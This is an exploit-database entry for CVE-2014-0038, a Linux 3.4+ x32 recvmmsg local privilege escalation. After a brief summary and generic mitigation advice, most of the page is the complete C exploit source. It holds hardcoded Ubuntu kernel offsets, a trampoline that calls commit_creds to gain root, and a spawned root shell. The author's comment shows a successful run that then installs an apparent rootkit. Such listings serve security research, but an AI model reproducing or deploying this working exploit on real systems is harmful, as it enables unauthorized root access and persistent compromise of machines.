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Linux Kernel
by:
rebel
7.5
CVSS
HIGH
local root
264
CWE
Product Name: Linux Kernel
Affected Version From: Linux 3.4+
Affected Version To: Not specified
Patch Exists: NO
Related CWE: CVE-2014-0038
CPE: cpe:2.3:o:linux:linux_kernel:3.4:*:*:*:*:*:*:*
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Platforms Tested: Ubuntu 3.11.0-15-generic
2014

recvmmsg.c – linux 3.4+ local root (CONFIG_X86_X32=y)

This exploit takes advantage of the x32 ABI with recvmmsg vulnerability (CVE-2014-0038) in Linux 3.4+ kernels. The exploit allows an attacker to gain root privileges on the target system. The vulnerability is caused by a flaw in the recvmmsg system call, which can be exploited to escalate privileges.

Mitigation:

To mitigate this vulnerability, it is recommended to apply the latest security patches and updates to the affected system. Additionally, it is advised to restrict access to vulnerable systems and implement strong access controls.
Source

Exploit-DB raw data:

/* 
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recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------

takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.

some things you could do while waiting:
  * watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
  * read https://wiki.ubuntu.com/Security/Features and smirk a few times
  * brew some coffee
  * stare at the countdown giggly with anticipation

could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.

&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes

hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..

same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y

user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.     
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..

:)=

greets to my homeboys kaliman, beist, capsl & all of #social

Sat Feb  1 22:15:19 CET 2014
% rebel %
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*/

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200

int port;

struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
};

struct offset offsets[] = {
    {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
    {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
    {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
    {NULL,0,0,0,0}
};

void udp(int b) {
    int sockfd;
    struct sockaddr_in servaddr,cliaddr;
    int s = 0xff+1;

    if(fork() == 0) {
        while(s > 0) {
            fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
            sleep(1);
            s--;
            fprintf(stderr,".");
        }

        sockfd = socket(AF_INET,SOCK_DGRAM,0);
        bzero(&servaddr,sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
        servaddr.sin_port=htons(port);
        sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
        exit(0);
    }

}

void trigger() {
    open("/proc/sys/net/core/somaxconn",O_RDONLY);

    if(getuid() != 0) {
        fprintf(stderr,"not root, ya blew it!\n");
        exit(-1);
    }

    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

void __attribute__((regparm(3)))
trampoline()
{
    asm("mov $getroot, %rax; call *%rax;");
}

int main(void)
{
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char buf[BUFSIZE];
    long mmapped;
    struct utsname u;
    struct offset *off = NULL;

    uname(&u);

    for(i=0;offsets[i].kernel_version != NULL;i++) {
        if(!strcmp(offsets[i].kernel_version,u.release)) {
            off = &offsets[i];
            break;
        }
    }

    if(!off) {
        fprintf(stderr,"no offsets for this kernel version..\n");
        exit(-1);
    }

    mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
    mmapped &= 0x000000ffffffffff;

        srand(time(NULL));
    port = (rand() % 30000)+1500;

    commit_creds = (_commit_creds)off->commit_creds;
    prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

    mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

    if(mmapped == -1) {
        perror("mmap()");
        exit(-1);
    }

    memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

    memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

    if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
        perror("mprotect()");
        exit(-1);
    }
    
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(-1);
    }

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(port);

    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(-1);
    }

    memset(msgs, 0, sizeof(msgs));

    iovecs[0].iov_base = &buf;
    iovecs[0].iov_len = BUFSIZE;
    msgs[0].msg_hdr.msg_iov = &iovecs[0];
    msgs[0].msg_hdr.msg_iovlen = 1;

    for(i=0;i < 3 ;i++) {
        udp(i);
        retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
        if(!retval) {
            fprintf(stderr,"\nrecvmmsg() failed\n");
        }
    }

    close(sockfd); 

    fprintf(stderr,"\n");

    trigger();
}